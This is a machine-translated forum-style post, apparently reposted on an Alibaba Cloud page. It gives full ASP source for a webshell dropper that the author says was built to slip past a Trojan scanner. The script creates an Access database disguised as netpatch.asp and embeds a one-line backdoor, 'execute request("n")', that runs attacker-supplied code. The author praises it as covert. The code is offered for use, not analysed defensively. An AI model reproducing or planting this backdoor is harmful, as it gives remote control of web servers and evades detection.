New ASP Backdoor Source code Analysis _ Trojan related

Source: Internet
Author: User
This is to escape LAKER2 brother check ASP Trojan horse program
Now that the challenge has been successful, it has been added to the test object. Published code to the freezing point of friends make, I hope you like!

The Adox.catalog component is used

Copy Code code as follows:
<%
' Code by Netpatch
Dim dbfile,sql
db= "Netpatch.asp"
Dbfile=server. MapPath (DB)

Set Ydb=server. CreateObject ("ADOX.") Catalog ")
Ydb. Create "Provider=Microsoft.Jet.OLEDB.4.0;Data source=" & DBFile
Set ydb=nothing
If Err.number=0 Then
Response.Write DBFile & "Create success <br>"
Else
Response.Write "Creation failed, Cause:" & Err.Description
Response.End
End If

Set Conn = Server.CreateObject ("ADODB. Connection ")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data source= "& DBFile

Sql= "CREATE TABLE fdata ([data] Memo)"
Conn.execute (SQL)

Set rs = CreateObject ("ADODB.") RecordSet ")
Rs. Open "Fdata", Conn, 1, 3
Rs.addnew
RS ("data") = "<%execute request (" n "))%>" ' (Comment remember to remove!) A word at the back door Execute request ("n"))
Rs.update

%>
This script is primarily leveraging the Adox.catalog component
Create a new empty database file called netpatch.asp
Then put a word Trojan into the new table as the C/S version of the ASP horse!

Advantages, more covert, not easy to let people see what the role of this!
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.